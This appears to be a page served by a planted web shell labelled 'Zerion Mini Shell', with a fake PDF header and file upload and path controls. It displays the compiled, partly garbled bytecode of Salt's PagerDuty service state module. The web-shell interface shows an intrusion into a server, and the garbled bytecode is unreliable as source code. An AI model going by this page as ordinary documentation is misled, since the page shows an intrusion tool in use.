%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /lib/python2.7/site-packages/salt/states/
Upload File :
Create Path :
Current File : //lib/python2.7/site-packages/salt/states/pagerduty_service.pyo

�
���^c@@s\dZddlmZmZmZd�Zdddd�Zdddd�Zd�Z	dS(	u7
Manage PagerDuty services

Escalation policies can be referenced by pagerduty ID or by namea.

For example:

.. code-block:: yaml

    ensure test service
        pagerduty_service.present:
            - name: 'my service'
            - escalation_policy_id: 'my escalation policy'
            - type: nagios

i(tabsolute_importtprint_functiontunicode_literalscC@sdtkrdStS(uD
    Only load if the pygerduty module is available in __salt__
    upagerduty_util.get_resourceupagerduty_service(t__salt__tFalse(((sA/usr/lib/python2.7/site-packages/salt/states/pagerduty_service.pyt__virtual__su	pagerdutyc
K@s�|d|dd<|dd}tdd|ddgd|d|d	|�}|ri|d|dd<ntd
dddgt||||�}|S(u�
    Ensure pagerduty service exists.
    This method accepts as arguments everything defined in
    https://developer.pagerduty.com/documentation/rest/services/create

    Note that many arguments are mutually exclusive, depending on the "type" argument.

    Examples:

    .. code-block:: yaml

        # create a PagerDuty email service at test-email@DOMAIN.pagerduty.com
        ensure generic email service exists:
            pagerduty_service.present:
                - name: my email service
                - service:
                    description: "email service controlled by salt"
                    escalation_policy_id: "my escalation policy"
                    type: "generic_email"
                    service_key: "test-email"

    .. code-block:: yaml

        # create a pagerduty service using cloudwatch integration
        ensure my cloudwatch service exists:
            pagerduty_service.present:
                - name: my cloudwatch service
                - service:
                    escalation_policy_id: "my escalation policy"
                    type: aws_cloudwatch
                    description: "my cloudwatch service controlled by salt"

    unameuserviceuescalation_policy_idupagerduty_util.get_resourceuescalation_policiesuidtprofilet	subdomaintapi_keyupagerduty_util.resource_presentuservices(Rt_diff(RRRtkwargstescalation_policy_idtescalation_policytr((sA/usr/lib/python2.7/site-packages/salt/states/pagerduty_service.pytpresents$%
	
		cK@s)tddddg||||�}|S(un
    Ensure a pagerduty service does not exist.
    Name can be the service name or pagerduty service id.
    upagerduty_util.resource_absentuservicesunameuid(R(RRRR
R
((sA/usr/lib/python2.7/site-packages/salt/states/pagerduty_service.pytabsentWs
		cC@s�d	}x�|dj�D]�\}}|dkr@|dd}nH|dkr~|d}d|kr�|d|jd�!}q�n
||}||krdj|||�}PqqW|r�|SiSd	S(
u�helper method to compare salt state info with the PagerDuty API json structure,
    and determine if we need to update.

    returns the dict to pass to the PD API to perform the update, or empty dict if no update.
    userviceuescalation_policy_iduescalation_policyuiduservice_keyu@iu{0} {1} {2}N(tNonetitemstfindtformat(t
state_datatresource_objecttobjects_differtktvtresource_value((sA/usr/lib/python2.7/site-packages/salt/states/pagerduty_service.pyR	es

N(
t__doc__t
__future__RRRRRRRR	(((sA/usr/lib/python2.7/site-packages/salt/states/pagerduty_service.pyt<module>s
	9

Zerion Mini Shell 1.0